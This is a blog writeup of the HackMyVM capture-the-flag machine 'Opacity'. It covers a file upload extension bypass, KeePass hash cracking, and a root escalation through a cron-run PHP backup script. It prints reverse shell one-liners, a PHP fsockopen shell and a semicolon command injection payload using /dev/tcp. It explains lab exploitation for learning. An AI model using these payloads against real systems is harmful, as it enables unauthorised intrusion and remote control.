opacity full walkthrough writeup from hackmyvm - vmcard

Opacity Walkthrough from HackMyVM – Writeup

Opacity is a new machine from the platform HackMyVM. The author of the VM is mindsflee. The VM includes vulnerabilities like insecure file upload, remote command execution, insecure file permissions, exploiting cronjobs, etc. In this post, I will describe all the steps starting from identifying the IP address of the target to finding the root flag. “Opacity Walkthrough from HackMyVM – Writeup”.

Click here to go to the link to the machine

Step 1: Identify the IP address of the target

First of all, we have to find out the IP address of the vulnerable target which I do by using fping.

❯ fping -aqg

In the result, is the target IP address.

Step 2: Nmap scan of the target

Next, we have to scan the services on the open ports of the target.

❯ nmap -T4 -sC -sV -p- -oN nmap.log
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-22 20:30 +0545
Nmap scan report for
Host is up (0.00088s latency).
Not shown: 65531 closed tcp ports (conn-refused)
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA)
|   256 9542cdfc712799392d0049ad1be4cf0e (ECDSA)
|_  256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-title: Login
|_Requested resource was login.php
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 3s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-12-22T14:45:48
|_  start_date: N/A
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)

As we can see from the Nmap scan, we have a PHP application on the web server. Also, there is an SMB service which doesn’t seem to have anonymous login enabled. Otherwise, we would have seen share information in the result.

Step 3: Enumerate the web server

To exploit the web server, we have to first identify the paths on the server. Thus, we can use directory-busting tools like gobuster for this purpose.

❯ gobuster dir -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u -x txt,php,html -o medium.txt
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,html,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
2022/12/22 20:35:07 Starting gobuster in directory enumeration mode
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.php            (Status: 200) [Size: 848]
/login.php            (Status: 200) [Size: 848]
/logout.php           (Status: 200) [Size: 848]
/cloud                (Status: 200) [Size: 639]

Interestingly, we will find a path ‘/cloud’ that looks as follows.

A UI for uploading image link
Link uploading UI

As we can see guess from the screenshot above that the website might suffer from insecure file upload with provided external link. I noticed that if we provide extensions other than those of image files, it stays on the same UI. Otherwise, we see a different screen with a loading animation.

Now, we need to bypass that extension check. You can try various ways from the following link.


I hosted my reverse shell payload using Python’s simple HTTP server as follows. You can find a reverse shell at https://revshells.com.

❯ sudo python3 -m http.server 80

Furthermore, we can guess that the uploaded file will only be in the system for 5 minutes. Thus, we have to spawn a reverse shell within the timeframe. Hence, I listened to a netcat listener on port 9001.

❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on

After this, I entered the URL of my shell.php file on the website as follows. .jpg

We can bypass the restriction by using a space character and the valid extension afterwards. We can find the address of the uploaded file from the page source of the redirected screen. Anyways, it is stored inside /the images directory.

Thus to invoke the shell, I have to go to ‘/cloud/images/shell.php’. This gave me the reverse shell. Next, I upgraded the shell using my following guide.

Upgrade to an intelligent reverse shell

Step 4: Gain access to the sysadmin user

Once we get a reverse shell on the machine, we can check for the users. There is a user “sysadmin” on the machine. While searching various directories, I found a KeePass database in the /opt directory. KeePass is a password manager service. Fortunately, we can generate the hash of the master password of KeePass databases by using the keepass2john binary. Once we get the hash, we can crack it using john the ripper.

However, for that, we need to copy the file to our attacking machine. For this, I spawned a web server in the directory and downloaded it into my machine.

Once I got the database in my machine, I ran the following commands as follows.

❯ keepass2john dataset.kdbx > hash
❯ john hash --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
No password hashes left to crack (see FAQ)
❯ john hash --show

1 password hash cracked, 0 left

Now, we can open the KeePass database using keepass2 binary or a web-based application.

❯ keepass2 dataset.kdbx -pw:<password here>

From there, we can find the password. Since we have SSH enabled on the target, we can log in using the same.

❯ ssh sysadmin@

Step 5: Gain root access

We can observe the behaviour of the website in that the images are removed in 5 minutes. We can guess that a cron might have been run. I confirmed that using an app called pspy. Using that app, we can find exactly what script is run. Nevertheless, if we check the home directory of the sysadmin user, we will find a directory called “scripts”. The directory is owned by the user sysadmin with write permissions but the existing files are owned by the root user.

If we check the script.php, file we find the following content.


//Backup of scripts sysadmin folder
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
    foreach ( $ri as $file ) {
        $file->isDir() ?  rmdir($file) : unlink($file);

Here, we notice that in addition to removing the images directory, it also backs up the scripts directory to a file /backups/backup.zip. Now, we can unzip the backup file to the original location and modify the content of ‘lib/backup.inc.php’ with a reverse shell code. The cron will execute the script once again after a few minutes but this time we will have a reverse shell. Thus, as before, I listened on a port using netcat.

Firstly, let’s overwrite the files to change the permissions.

sysadmin@opacity:~$ cd /var/backups/
sysadmin@opacity:/var/backups$ unzip backup.zip -d /home/sysadmin/scripts
Archive:  backup.zip
replace /home/sysadmin/scripts/script.php? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
error:  cannot delete old /home/sysadmin/scripts/script.php
        Permission denied
  inflating: /home/sysadmin/scripts/lib/backup.inc.php  
  inflating: /home/sysadmin/scripts/lib/phplib.php  
  inflating: /home/sysadmin/scripts/lib/owlapi.php  
  inflating: /home/sysadmin/scripts/lib/fileapi.php  
  inflating: /home/sysadmin/scripts/lib/application.php  
  inflating: /home/sysadmin/scripts/lib/utils.php  
  inflating: /home/sysadmin/scripts/lib/dataset.php  
  inflating: /home/sysadmin/scripts/lib/dataresource.php  
  inflating: /home/sysadmin/scripts/lib/registry.php  
  inflating: /home/sysadmin/scripts/lib/bio2rdfapi.php  
  inflating: /home/sysadmin/scripts/lib/rdfapi.php  
  inflating: /home/sysadmin/scripts/lib/biopax2bio2rdf.php  
  inflating: /home/sysadmin/scripts/lib/xmlapi.php

We can notice the permissions changes on those files. For the reverse shell, I used the following one-line command at the top of the file ‘lib/backup.inc.php’.

$sock=fsockopen("",9001);exec("/bin/bash <&3 >&3 2>&3");
reverse shell code
Including reverse shell code

After saving this file, we will establish a connection in our netcat listener within five minutes. In this way, we will get root access.

Before ending this write-up, I want to explain why we could bypass the extension check that led us to our foothold. If we check the ‘index.php’ file inside the /cloud directory, we will notice a regex check as follows.

if (preg_match('/\.(jpeg|jpg|png|gif)$/i', $url)) {
        exec("wget -P /var/www/html/cloud/images {$url}");
	echo '<div class="form-group">Transferring file..<br></div>';
	echo '<div class="form-group"><img src="load.gif" alt="loading" width="500" ></div>';

If we see, it checks for a dot (.) character, and one of the words is from jpeg, jpg, png and gif. The words can be case insensitive as indicated by the ‘i’ flag. The dollar sign ($) at the end of the pattern signifies that this pattern should be present at the end of the string. It doesn’t check the content of the file, and, it doesn’t have a proper extension-checking mechanism. Right after that, we observe that it uses OS command execution to download the file using the binary wget. My method worked because technically I was sending the URL of my reverse shell by using space and it was interpreted that way by wget.

Furthermore, we could’ve directly injected the shell command as follows.

;bash -c 'bash -i >& /dev/tcp/ 0>&1'; .jpg

This is because the script is executing the system commands. We could terminate the wget command by using a semicolon and then use another command that would give us a reverse shell. Lastly, we could bypass the check by just adding a .jpg at the end of the input.

If you are interested in detailed explanations like this, make sure to follow my blog. As of now, I suggest you read about feature flag management using Flagsmith.

5 3 votes
Article Rating
Notify of
Newest Most Voted
Inline Feedbacks
View all comments